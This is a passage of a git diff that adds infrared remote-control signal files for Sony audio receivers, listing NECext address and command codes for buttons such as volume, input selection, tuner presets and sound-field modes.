00 00 +# +name: EFFECT/DELAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 77 00 00 00 +# +name: ARROW_OK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 77 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 77 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 78 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 78 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 79 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: BASS_(-) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 +# +name: BASS_(+) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir new file mode 100644 index 000000000..d2260fff8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: 2_VID_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 21 00 00 00 +# +name: 2_TUNER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 21 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 22 00 00 00 +# +name: 2_VID_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 22 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 23 00 00 00 +# +name: 2_TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 23 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 25 00 00 00 +# +name: 2_CD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 25 00 00 00 +# +name: INPUT:_VIDEO_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 42 00 00 00 +# +name: 2_VID_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 42 00 00 00 +# +name: INPUT:_MD/DAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 69 00 00 00 +# +name: 2_MD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 69 00 00 00 +# +name: INPUT:_TV/SAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6A 00 00 00 +# +name: 2_TV +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6A 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: INPUT:_SOURCE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: 2_SOURCE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: 2ND_ROOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: INPUT:_DVD/LD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7D 00 00 00 +# +name: 2_DVD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir new file mode 100644 index 000000000..ae08cfbba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 00 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 00 00 00 00 +# +name: RADIO_CH_1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: RADIO_CH_2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: RADIO_CH_3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: RADIO_CH_4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: RADIO_CH_5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: RADIO_CH_6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: RADIO_CH_7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: TUNER_8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: RADIO_CH_8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: TUNER_9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: RADIO_CH_9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 09 00 00 00 +# +name: RADIO_CH_0 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 09 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0E 00 00 00 +# +name: TUNER_AM/FM +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0F 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0F 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: CH/PRESET_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: CH._PRESET_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: CH/PRESET_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: CH._PRESET_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 12 00 00 00 +# +name: TUNER_(-) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 13 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 13 00 00 00 +# +name: TUNER_PRESET_A +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 30 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 30 00 00 00 +# +name: TUNER_PRESET_B +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 31 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 31 00 00 00 +# +name: TUNER_PRESET_C +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 32 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 32 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: TUNER_SHIFT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: RADIO_CH_>10 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: SHIFT/_>10 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 52 00 00 00 +# +name: DIRECT_TUNE/ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 53 00 00 00 +# +name: TUNER_DIRECT_INPUT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 53 00 00 00 +# +name: RADIO_D.TUNNING +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 53 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir new file mode 100644 index 000000000..f6e056a45 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: SND_F._CINEMA_STUDIO +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 26 00 00 00 +# +name: 2_CH_SOUND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 41 00 00 00 +# +name: SOUND_FIELD_2CH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 41 00 00 00 +# +name: 2_CHANNEL +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 41 00 00 00 +# +name: AFD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 47 00 00 00 +# +name: SOUND_FIELD_A.F.D. +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 47 00 00 00 +# +name: AUTO_FORMAT_DECODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 47 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4A 00 00 00 +# +name: EQ/TONE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4C 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4C 00 00 00 +# +name: BASS_BOOST +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4D 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4E 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4E 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4F 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4F 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 55 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 55 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 6E 00 00 00 +# +name: SOUND_FIELD_MODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 6E 00 00 00 +# +name: MENU_< +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 72 00 00 00 +# +name: MENU_> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 73 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 74 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 75 00 00 00 +# +name: CURSOR_MODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 77 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 77 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 78 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir new file mode 100644 index 000000000..1d9775ff7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: PRE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: PRE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir new file mode 100644 index 000000000..598804702 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir @@ -0,0 +1,542 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: MASTER_VOL_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_(+) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: MASTER_VOL_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_(-) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: TUNER_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: INPUT:_TAPE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: TAPE/MD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: INPUT:_COMPACT_DISC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: INPUT:CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: INPUT:_VIDEO_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: INPUT_FRONT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: DAT/MD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: INPUT:_DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: MD/DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: SND_F._ANALOG_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: ON_SCREEN_DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 60 00 00 00 +# +name: TAPE_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: INPUT_MD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: MD/TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: MD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: MD/DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: INPUT:_MD/DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: SAT_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: INPUT_DBS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: INPUT:TV/SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: LASER_DISC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: DVD/LD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: 5.1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: 5.1CH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: 5.1_IN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: 5.1_CH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: 5.1_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: INPUT:_5.1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: INPUT:_DVD/LD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: DVD_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 +# +name: DVD/LD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir new file mode 100644 index 000000000..513d257d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: CH/PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: CH/PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir new file mode 100644 index 000000000..eb3122c02 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: 2_CH +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 41 00 00 00 +# +name: AFD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 42 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 43 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: BASS_BOOST +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4D 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 50 00 00 00 +# +name: BASS_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 51 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 56 00 00 00 +# +name: TREB_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 57 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir new file mode 100644 index 000000000..8ef2ac44a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: AM/FM +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 20 00 00 00 +# +name: SF:_BAND +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 20 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 20 00 00 00 +# +name: SF:_EQ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: EQ/TONE_ON/OFF +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: MODE_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: SF:_MODE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: SF_MODE_> +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: SOUND_FIELD_MODE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: NOTHING +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: MODE_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 37 00 00 00 +# +name: SF_MODE_< +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 37 00 00 00 +# +name: SF:_TEST_TONE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4A 00 00 00 +# +name: TEST +type: parsed 